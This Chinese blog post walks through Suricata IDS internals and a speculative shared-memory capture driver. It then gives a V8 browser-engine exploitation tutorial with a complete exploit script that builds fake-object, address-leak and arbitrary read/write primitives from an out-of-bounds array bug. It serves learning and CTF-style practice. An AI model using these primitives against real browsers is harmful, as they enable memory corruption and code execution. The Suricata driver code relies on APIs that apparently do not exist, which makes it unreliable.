前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >Suricata通过共享内存获取流量+pwn-浏览器内核V8

Suricata通过共享内存获取流量+pwn-浏览器内核V8

作者头像
h3110_w0r1d
发布2024-08-02 11:01:35
950
发布2024-08-02 11:01:35
举报
文章被收录于专栏:用户9703952的专栏

Suricata通过共享内存获取流量

Introduction

Suricata是一个高性能的网络入侵检测和防御系统(IDS/IPS)。它是由OISF开发,完全开源,并且可以免费使用。https://github.com/OISF/suricata

Suricata由线程和队列组成,数据包在线程间传递通过队列实现。线程由多个线程模块组成,每个线程模块实现一种功能。

Suricata有多种运行模式,这些模式与抓包驱动和IDS/IPS选择相关联。抓包驱动如:pcap, pcap file, nfqueue, ipfw, dpdk或者一个特有的抓包驱动等。Suricata在启动时只能选择某个运行模式。如-i选项表示pcap,-r表示pcapfile,-q表示nfqueue等。每一种运行模式都会初始化一些threads, queues等。模式的具体任务是由线程模块来完成。根据线程和线程模块的组织方式的不同,我们可以./suricata –list-runmodes查看运行模式,运行模式又细分为”autofp”, “single”,“wokers”。

Suricata 针对每种运行模式实现了对应的 ThreadVars 数据结构,从而在线程程度上操作数据。对应的数据结构分别位于对应模式的source文件里面,命名为:模式名字+ThreadVars。

共享内存(shared memory)指在多处理器的计算机系统中,可以被不同中央处理器(CPU)访问的大容量内存。由于多个CPU需要快速访问存储器,这样就要对存储器进行缓存(Cache)。任何一个缓存的数据被更新后,由于其他处理器也可能要存取,共享内存就需要立即更新,否则不同的处理器可能用到不同的数据。共享内存是 Unix下的多进程之间的通信方法,这种方法通常用于一个程序的多进程间通信,实际上多个程序间也可以通过共享内存来传递信息。

Suricata安装

添加 Suricata PPA(个人包档案)并安装 Suricata,添加 OISF(Open Information Security Foundation)的 PPA:

代码语言:javascript
复制
sudo add-apt-repository ppa:oisf/suricata-stable
sudo apt update

安装 Suricata:

代码语言:javascript
复制
sudo apt install suricata -y

安装完成后,运行以下命令以验证 Suricata 是否正确安装:

代码语言:javascript
复制
suricata --build-info

Suricata配置

创建配置文件的备份,修改之前一定要先备份

代码语言:javascript
复制
sudo cp /etc/suricata/suricata.yaml /etc/suricata/suricata.yaml.bak

Suricata的可执行文件默认在/usr/bin下,配置文件默认在/etc/suricata下

可以通过Suricata内置的测试模式检查配置文件和其他规则的有效性

代码语言:javascript
复制
sudo suricata -T -c /etc/suricata/suricata.yaml -v

在/etc/suricata/suricata.yaml中可以更改要监控的网络接口

运行前的测试

以下是我笔记本上的各个网络接口

这里我用wifi0接口测试能否正常运行

代码语言:javascript
复制
sudo suricata -c /etc/suricata/suricata.yaml -i eth0

Suricata运行模式

  1. Suricata有多种运行模式,这些模式与抓包驱动和IDS/IPS选择相关联。抓包驱动如:pcap, pcap file, nfqueue,ipfw, dpdk或者一个特有的抓包驱动等。Suricata在启动时只能选择某个运行模式。如-i选项表示pcap, -r表示pcapfile,-q表示nfqueue等。每一种运行模式都会初始化一些threads,queues等。模式的具体任务是由线程模块来完成。根据线程和线程模块的组织方式的不同,运行模式又细分为”autofp”, “single”,“wokers”.

IDS(入侵检测系统)模式

  1. 特点:仅检测不阻止。
  2. 数据获取:通常使用 Libpcap 或 AF_PACKET 抓包。
  3. 流程:网络接口 -> 抓包驱动 -> Suricata -> 检测引擎 -> 日志/报警。
  4. 优势:简单配置,不影响流量。
  5. 劣势:不能阻止攻击,只能告警。

IPS(入侵防御系统)模式

  1. 特点:检测并阻止。
  2. 数据获取:通常使用 NFQUEUE 或 AF_PACKET 抓包。
  3. 流程:网络接口 -> 抓包驱动 -> Suricata -> 检测引擎 -> 阻止/通过流量。
  4. 优势:可以阻止攻击。
  5. 劣势:配置复杂,可能影响网络性能。

流的分配

当suricata收到一个特定协议(ipv6, icmp, sctp,tcp,udp)的packet后,会计算一个流的hash值,设置PKT_WANTS_FLOW标志。

代码语言:javascript
复制
void FlowSetupPacket(Packet *p)
{
    p->flags |= PKT_WANTS_FLOW;
    p->flow_hash = FlowGetHash(p);
}

FlowWorker会基于PKT_WANTS_FLOW标志,进行流的查找或分配。

代码语言:javascript
复制
static TmEcode FlowWorker(ThreadVars *tv, Packet *p, void *data, PacketQueue *preq, PacketQueue *unused)
{
    /* handle Flow */
    if (p->flags & PKT_WANTS_FLOW) {
        FLOWWORKER_PROFILING_START(p, PROFILE_FLOWWORKER_FLOW);

        FlowHandlePacket(tv, fw->dtv, p);
        if (likely(p->flow != NULL)) {
            DEBUG_ASSERT_FLOW_LOCKED(p->flow);
            if (FlowUpdate(tv, fw, p) == TM_ECODE_DONE) 

通过对流进行哈希检索:查找包含流指针的哈希桶

代码语言:javascript
复制
void FlowHandlePacket(ThreadVars *tv, DecodeThreadVars *dtv, Packet *p)
{
...
    Flow *f = FlowGetFlowFromHash(tv, dtv, p, &p->flow);
...
    p->flags |= PKT_HAS_FLOW;
    return;
}

Flow *FlowGetFlowFromHash(ThreadVars *tv, DecodeThreadVars *dtv, const Packet *p, Flow **dest)
{
    Flow *f = NULL;

    /* get our hash bucket and lock it */
    const uint32_t hash = p->flow_hash;
    FlowBucket *fb = &flow_hash[hash % flow_config.hash_size];
    FBLOCK_LOCK(fb);

如果桶内没有任何流,分配一条新的流

代码语言:javascript
复制
if (fb->head == NULL) {
      f = FlowGetNew(tv, dtv, p);
      if (f == NULL) {
          FBLOCK_UNLOCK(fb);
          return NULL;
      }
     
      /* flow is locked */
      fb->head = f;
      fb->tail = f;
     
      /* got one, now lock, initialize and return */
      FlowInit(f, p);
      f->flow_hash = hash;
      f->fb = fb;
      FlowUpdateState(f, FLOW_STATE_NEW);
     
      FlowReference(dest, f);
     
      FBLOCK_UNLOCK(fb);
      return f;
  }

将包与找到的流进行比较

代码语言:javascript
复制
 /* see if this is the flow we are looking for */
    if (FlowCompare(f, p) == 0) {
        Flow *pf = NULL; /* previous flow */

        while (f) {
...
            if (FlowCompare(f, p) != 0) {
...
    return f;
}

流的队列

spare队列

spare队列存储着备用的、未使用的、预分配的流。

代码语言:javascript
复制
FlowQueue flow_spare_q;
FlowQueueInit(&flow_spare_q);
入队

flow_spare_q的入队的操作,主要发生在:

初始化时的预分配

代码语言:javascript
复制
void FlowInitConfig(char quiet)
{
...
    /* pre allocate flows */
    for (i = 0; i < flow_config.prealloc; i++) {
...
        Flow *f = FlowAlloc();
        if (f == NULL) {
            SCLogError(SC_ERR_FLOW_INIT, "preallocating flow failed: %s", strerror(errno));
            exit(EXIT_FAILURE);
        }

        FlowEnqueue(&flow_spare_q,f);
    }

流管理检查时的补足

代码语言:javascript
复制
int FlowUpdateSpareFlows(void)
{
...
    if (len < flow_config.prealloc) {
        toalloc = flow_config.prealloc - len;

        uint32_t i;
        for (i = 0; i < toalloc; i++) {
            Flow *f = FlowAlloc();
            if (f == NULL)
                return 0;

            FlowEnqueue(&flow_spare_q,f);
        }

流的回收,即从flow_recycle_qflow_spare_q

代码语言:javascript
复制
static TmEcode FlowRecycler(ThreadVars *th_v, void *thread_data)
{
...
       while ((f = FlowDequeue(&flow_recycle_q)) != NULL) {
                FLOWLOCK_WRLOCK(f);

                (void)OutputFlowLog(th_v, ftd->output_thread_data, f);

                FlowClearMemory (f, f->protomap);
                FLOWLOCK_UNLOCK(f);
                FlowMoveToSpare(f);
                recycled_cnt++;
            }
        }
出队

flow_spare_q的出队的操作,主要发生在:

流的分配

代码语言:javascript
复制
static Flow *FlowGetNew(ThreadVars *tv, DecodeThreadVars *dtv, const Packet *p)
{
...
    /* get a flow from the spare queue */
    f = FlowDequeue(&flow_spare_q);
代码语言:javascript
复制
Flow *FlowGetFromFlowKey(FlowKey *key, struct timespec *ttime, const uint32_t hash)
{
...
    /* No existing flow so let's get one new */
    f = FlowDequeue(&flow_spare_q);

释放多余的分配的流

代码语言:javascript
复制
int FlowUpdateSpareFlows(void)
{
...
    } else if (len > flow_config.prealloc) {
        tofree = len - flow_config.prealloc;

        uint32_t i;
        for (i = 0; i < tofree; i++) {
            /* FlowDequeue locks the queue */
            Flow *f = FlowDequeue(&flow_spare_q);
            if (f == NULL)
                return 1;

进程退出

代码语言:javascript
复制
void FlowShutdown(void)
{
...
    /* free queues */
    while((f = FlowDequeue(&flow_spare_q))) {
        FlowFree(f);
    }

recycle队列

recycle队列存储着将传递到清理、日志线程的流。

代码语言:javascript
复制
FlowQueue flow_recycle_q;
FlowQueueInit(&flow_recycle_q);
入队

flow_recycle_q的入队的操作,主要发生在:

流超时进行回收

代码语言:javascript
复制
static uint32_t FlowManagerHashRowTimeout(Flow *f, struct timeval *ts,
...
            /* no one is referring to this flow, use_cnt 0, removed from hash
             * so we can unlock it and pass it to the flow recycler */
            FLOWLOCK_UNLOCK(f);
            FlowEnqueue(&flow_recycle_q, f);

进程退出时,对流hash桶中的流进行回收处理

代码语言:javascript
复制
static uint32_t FlowManagerHashRowCleanup(Flow *f)
{
...
        /* no one is referring to this flow, use_cnt 0, removed from hash
         * so we can unlock it and move it to the recycle queue. */
        FLOWLOCK_UNLOCK(f);

        FlowEnqueue(&flow_recycle_q, f);
出队

flow_recycle_q的出队的操作,主要发生在:

流的回收,即从flow_recycle_qflow_spare_q

代码语言:javascript
复制
static TmEcode FlowRecycler(ThreadVars *th_v, void *thread_data)
{
...
       while ((f = FlowDequeue(&flow_recycle_q)) != NULL) {
                FLOWLOCK_WRLOCK(f);

                (void)OutputFlowLog(th_v, ftd->output_thread_data, f);

                FlowClearMemory (f, f->protomap);
                FLOWLOCK_UNLOCK(f);
                FlowMoveToSpare(f);
                recycled_cnt++;
            }
        }

进程退出

代码语言:javascript
复制
void FlowShutdown(void)
{
...
    while((f = FlowDequeue(&flow_recycle_q))) {
        FlowFree(f);
    }

实现 Suricata 从共享内存中读取流量数据的 demo

添加新抓包驱动

首先,需要在 Suricata 源代码中添加一个新的抓包驱动。找到 source-af-packet.c 或其他现有抓包驱动文件,作为新驱动实现的模板。

文件 source-sharedmem.c

代码语言:javascript
复制
#include "suricata-common.h"
#include "source.h"
#include "decode.h"
#include "util-sharedmem.h"  // 假设我们有一个处理共享内存的工具

// 定义抓包驱动的初始化函数
int SharedMemInit(ConfNode *conf, const char *device, void **data) {
    // 初始化共享内存
    *data = SharedMemAttach(device);
    if (*data == NULL) {
        return -1;
    }
    return 0;
}

// 定义抓包驱动的关闭函数
void SharedMemClose(void *data) {
    // 关闭共享内存
    SharedMemDetach(data);
}

// 定义抓包驱动的读取函数
int SharedMemRead(void *data, Packet *p) {
    // 从共享内存中读取数据
    return SharedMemFetch(data, p);
}

// 定义抓包驱动的配置结构
CaptureInterface shared_mem_iface = {
    .name = "sharedmem",
    .Init = SharedMemInit,
    .Close = SharedMemClose,
    .Read = SharedMemRead,
};

// 在 Suricata 初始化时注册抓包驱动
void TmModuleSharedMemRegister(void) {
    TmModuleRegisterCaptureInterface(&shared_mem_iface);
}

然后,在 tm-threads.c 文件中注册新的抓包驱动:

代码语言:javascript
复制
extern void TmModuleSharedMemRegister(void);

void TmThreadsRegisterAll(void) {
    // ... 其他抓包驱动注册
    TmModuleSharedMemRegister();
}

添加新的运行模式

找到 Suricata 源代码中的 runmodes.c 文件,并添加新的运行模式,例如 sharedmem

代码语言:javascript
复制
#include "runmode-sharedmem.h"

void RunModeRegisterAll(void) {
    // ... 其他运行模式注册
    RunModeRegister("sharedmem", RunModeSharedMemAutoFp);
}

runmode-sharedmem.c 文件中实现新的运行模式:

代码语言:javascript
复制
#include "suricata-common.h"
#include "threads.h"
#include "source.h"
#include "runmode.h"

void RunModeSharedMemAutoFp(void) {
    // 配置线程和队列
    if (InitAutoFp() < 0) {
        return;
    }

    // 创建和启动线程
    TmThreadSpawn(&shared_mem_iface, NULL);

    // 处理线程队列
    TmThreadsSlotScheduler();
}

修改 ThreadVars 数据结构

为新的运行模式创建对应的 ThreadVars 数据结构:

代码语言:javascript
复制
typedef struct SharedMemThreadVars_ {
    // 定义线程变量
    void *shared_mem;
} SharedMemThreadVars;

runmode-sharedmem.c 文件中使用该数据结构:

代码语言:javascript
复制
#include "runmode-sharedmem.h"

int InitAutoFp(void) {
    // 初始化线程变量
    SharedMemThreadVars *tv = SCMalloc(sizeof(SharedMemThreadVars));
    if (tv == NULL) {
        return -1;
    }
    // 初始化共享内存
    tv->shared_mem = SharedMemAttach("/path/to/shared_mem");
    if (tv->shared_mem == NULL) {
        return -1;
    }
    return 0;
}

实现从共享内存读取流量数据的 demo

代码语言:javascript
复制
#include <stdio.h>
#include <stdlib.h>
#include "util-sharedmem.h"

int main(void) {
    // 附加到共享内存
    void *shared_mem = SharedMemAttach("/path/to/shared_mem");
    if (shared_mem == NULL) {
        fprintf(stderr, "Failed to attach shared memory\n");
        return -1;
    }

    // 读取数据包
    Packet p;
    while (SharedMemFetch(shared_mem, &p) == 0) {
        // 处理数据包
        ProcessPacket(&p);
    }

    // 分离共享内存
    SharedMemDetach(shared_mem);

    return 0;
}

Pwn-浏览器内核V8

V8环境搭建

编译V8

Ubuntu 18.04操作系统

下载用于Chromium开发的工具depot_tools,用于V8的编译

代码语言:javascript
复制
git clone https://chromium.googlesource.com/chromium/tools/depot_tools.git

depot_tools 添加到环境变量 PATH 的末尾

代码语言:javascript
复制
export PATH=$PATH:<path to depot_tools>

挂好代理,进入到 depot_tools 。直接安装会 ninja 报错需要先将版本回退到 138bff28** 并且将 DEPOT_TOOLS_UPDATE 设为 0 。之后更新 depot_tools

代码语言:javascript
复制
git reset --hard 138bff28
export DEPOT_TOOLS_UPDATE=0
gclient

下载 v8,这个时间比较长,下载完后目录下会多一个 v8 文件夹。

代码语言:javascript
复制
fetch v8

首先安装浏览器然后再网址栏中输入 chrome://version 查看版本,例如:

代码语言:javascript
复制
112.0.5615.87 (正式版本) (64 位) (cohort: Bypass)

打开 github 的 chrome 项目,搜索版本号并切换至相应版本。

然后在项目根目录下的 DEPS 文件中查看 V8 版本:

编译 v8 ,这里选的 release 版本。debug 版本改为 x64.debug ,32 为版本将 x64 改为 ia32 。如果调试漏洞的话, 最好选择 release 版本 因为 debug 版本可能会有很多检查。

另外如果出现路径错误需要切换到 ./tools/dev/ 路径再进行编译。不过这样编译最终生成的 d8tools/dev/out/x64.release 目录下。

编译生成的 d8./out/x64.release/d8 中。

调试V8

~/.gdbinit 添加 v8 的调试插件:

代码语言:javascript
复制
source` `/path/to/v8/tools/gdbinit
source` `/path/to/v8/tools/gdb-v8-support``.py

常见参数:

  • --allow-natives-syntax 开启原生API (用的比较多)
  • --trace-turbo 跟踪生成TurboFan IR
  • --print-bytecode 打印生成的bytecode
  • --shell 运行脚本后切入交互模式
  • 更多参数可以参考 --help

调试 js 脚本时可以采用如下命令:

代码语言:javascript
复制
gdb ./d8
r --allow-natives-syntax --shell ./exp.js

安装 turbolizer

turbolizer 是一个可视化分析 JS 优化的工具,安装命令如下:

代码语言:javascript
复制
sudo apt install npm
cd /path/to/v8/tools/turbolizer
sudo npm install n -g
sudo n 16.20.0 # sudo n latest
sudo npm i
sudo npm run-script build

由于 Ubuntu18.04 默认的 node 版本过低,需要安装 16.20.0 版本

最后需要启动一个 web 服务器,根据需要 8000 可以换成其它端口

代码语言:javascript
复制
python -m SimpleHTTPServer 8000

编写一个 js 脚本: %OptimizeFunctionOnNextCall 内置函数可以直接触发强行触发优化。

代码语言:javascript
复制
function add(a, b) {
    return a + b;
}
 
//%OptimizeFunctionOnNextCall(add);
for (let i = 0; i < 10000000; i++) {
    add(i, i + 1);
}

运行 js 脚本并使用 --trace-turbo 参数

代码语言:javascript
复制
.``/d8` `--trace-turbo --allow-natives-syntax .``/test``.js

此时会生成如下文件:

在浏览器(最好使用 Chrome 浏览器,系统自带的火狐浏览器可能有问题。)中访问 http://127.0.0.1:8000/path/to/v8/tools/turbolizer/(注意,这里的路径是相对于 python 启动的 web 服务的路径的相对路径而不是绝对路径) ,然后在其中打开该文件就可以进行分析。

任意地址对象伪造漏洞复现

如果存在任意地址对象伪造漏洞(fake_object 原语),则我们可以在一个大的 DoubleArray 中伪造一个 DoubleArray 然后实现 offset_ofarbitrary_offset_readarbitrary_offset_write 原语。首先我们先创建一个大的 DoubleArray 并在里面伪造一个 DoubleArray

这里需要注意的是:通过调试可知,我们只需要伪造 map 的前 16 字节即可。而 map 的前 16 字节基本是不变的。

代码语言:javascript
复制
let spray_array = new Array(0xf700).fill(1.1);
let spray_array_data_offset = 0x00202141n + 7n;  // spray_array 的 element 中成员的起始地址
let map_offset = spray_array_data_offset + 0x1000n;  // 伪造的 map 在沙箱中的偏移
let fake_double_array_offset = map_offset + 0x1000n;  // 伪造的 fake_double_array 在沙箱中的偏移
 
// 伪造 fake_double_array 的 map ,这里只需要伪造前 16 字节。
spray_array[(map_offset - spray_array_data_offset) / 8n] = u2d(0x1a04040400002141n);
spray_array[(map_offset - spray_array_data_offset) / 8n + 1n] = u2d(0xa0007ff1100083an);
 
// fake_double_array 的 map 指针指向伪造的 map
spray_array[(fake_double_array_offset - spray_array_data_offset) / 8n] = u2d(map_offset | 1n | (0x00002259n << 32n));
 
// 利用任意地址对象伪造漏洞(fake_object)泄露出 fake_double_array
let fake_double_array = trigger(fake_double_array_offset | 1n);

offset_of 原语实现:我们只需要再申请一个大的 ObjectArray(我们称之为 spray_object_array)然后让伪造的 DoubleArrayelements 指针指向 spray_object_arrayelementselements 在沙箱内偏移固定)造成类型混淆。

代码语言:javascript
复制
  let spray_object_array = ``new` `Array(0xf700).fill({});
  let object_array_element_offset = 0x00282141n;
  
           

  function` `offset_of(object) {
    ``// 将 object 添加到 spray_object_array 的 elements 中
    ``spray_object_array[0] = object;
    ``// fake_double_array 的 elements 指针指向 spray_object_array 的 elements
    ``spray_array[(fake_double_array_offset - spray_array_data_offset) / 8n + 1n] = u2d(object_array_element_offset | 1n | (0x00000002n << 32n));
    ``// 从 fake_double_array 读出 object 在沙箱中的偏移
    ``return` `d2u(fake_double_array[0]) & 0xFFFFFFFFn;
  }
  
8.   `arbitrary_offset_read` 和 `arbitrary_offset_write` 原语实现:直接通过 `apray_array` 修改 `elements` 然后读写 `fake_double_array` 实现。

9.   ![](https://strongwillpro.oss-cn-beijing.aliyuncs.com/img/20240713212409.png)

  function arbitrary_offset_read(address) {
      spray_array[(fake_double_array_offset - spray_array_data_offset) / 8n + 1n] = u2d((address - 8n) | 1n | (0x00000002n << 32n));
      return d2u(fake_double_array[0]);
  }
   
  function arbitrary_offset_write(address, value) {
      spray_array[(fake_double_array_offset - spray_array_data_offset) / 8n + 1n] = u2d((address - 8n) | 1n | (0x00000002n << 32n));
      fake_double_array[0] = u2d(value);
  
10.   完整exp

   let array_buffer = new ArrayBuffer(0x8);
   let data_view = new DataView(array_buffer);
    
   function d2u(value) {
       data_view.setFloat64(0, value);
       return data_view.getBigUint64(0);
   }
    
   function u2d(value) {
       data_view.setBigUint64(0, value);
       return data_view.getFloat64(0);
   }
    
   function hex(val) {
       return '0x' + val.toString(16).padStart(16, "0");
   }
    
   let oob_array = [.1];
   let object_array = [{}];
   let double_array = [.1];
   let rw_array = [.1];
    
    
   oob_array.len(0x1337);
    
   let object_array_map = d2u(oob_array[8]);
   let double_array_map = d2u(oob_array[12]);
    
   console.log("[*] object array map: " + hex(object_array_map & 0xFFFFFFFFn));
   console.log("[*] double array map: " + hex(double_array_map & 0xFFFFFFFFn));
    
   function trigger(offset) {
       oob_array[12] = u2d(double_array_map);
       double_array[0] = u2d(offset);
       oob_array[12] = u2d((object_array_map & 0xFFFFFFFFn) | (double_array_map & 0xFFFFFFFF00000000n));
       return double_array[0];
   }
    
   let spray_array = new Array(0xf700).fill(1.1);
   let spray_array_data_offset = 0x00202141n + 7n;
   let map_offset = spray_array_data_offset + 0x1000n;
   let fake_double_array_offset = map_offset + 0x1000n;
    
   spray_array[(map_offset - spray_array_data_offset) / 8n] = u2d(0x1a04040400002141n);
   spray_array[(map_offset - spray_array_data_offset) / 8n + 1n] = u2d(0xa0007ff1100083an);
   spray_array[(fake_double_array_offset - spray_array_data_offset) / 8n] = u2d(map_offset | 1n | (0x00002259n << 32n));;
   let fake_double_array = trigger(fake_double_array_offset | 1n);
    
    
   let spray_object_array = new Array(0xf700).fill({});
   let object_array_element_offset = 0x00282141n;
    
    
   function offset_of(object) {
       spray_object_array[0] = object;
       spray_array[(fake_double_array_offset - spray_array_data_offset) / 8n + 1n] = u2d(object_array_element_offset | 1n | (0x00000002n << 32n));
       return d2u(fake_double_array[0]) & 0xFFFFFFFFn;
   }
    
   function arbitrary_offset_read(address) {
       spray_array[(fake_double_array_offset - spray_array_data_offset) / 8n + 1n] = u2d((address - 8n) | 1n | (0x00000002n << 32n));
       return d2u(fake_double_array[0]);
   }
    
   function arbitrary_offset_write(address, value) {
       spray_array[(fake_double_array_offset - spray_array_data_offset) / 8n + 1n] = u2d((address - 8n) | 1n | (0x00000002n << 32n));
       fake_double_array[0] = u2d(value);
   }
    
   let a = [1, 2, 3, 4];
    
   % DebugPrint(a);
    
   arbitrary_offset_write(offset_of(a), 0xdeadbeefn);
    
    
   // % DebugPrint(oob_array);
   // console.log(hex(offset_of(oob_array)));
    
   % SystemBreak();
本文参与 腾讯云自媒体同步曝光计划,分享自作者个人站点/博客。
原始发表:2024-07-13,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • Suricata通过共享内存获取流量
    • Introduction
      • Suricata安装
        • Suricata配置
          • 运行前的测试
            • Suricata运行模式
              • IDS(入侵检测系统)模式
              • IPS(入侵防御系统)模式
              • 流的分配
              • 流的队列
              • recycle队列
            • 实现 Suricata 从共享内存中读取流量数据的 demo
              • 添加新抓包驱动
              • 然后,在 tm-threads.c 文件中注册新的抓包驱动:
              • 添加新的运行模式
              • 修改 ThreadVars 数据结构
              • 实现从共享内存读取流量数据的 demo
          • Pwn-浏览器内核V8
            • V8环境搭建
              • 编译V8
              • 调试V8
              • 安装 turbolizer
            • 任意地址对象伪造漏洞复现
            相关产品与服务
            主机安全
            主机安全(Cloud Workload Protection,CWP)基于腾讯安全积累的海量威胁数据,利用机器学习为用户提供资产管理、木马文件查杀、黑客入侵防御、漏洞风险预警及安全基线等安全防护服务,帮助企业构建服务器安全防护体系。现支持用户非腾讯云服务器统一进行安全防护,轻松共享腾讯云端安全情报,让私有数据中心拥有云上同等级别的安全体验。
            领券
            问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档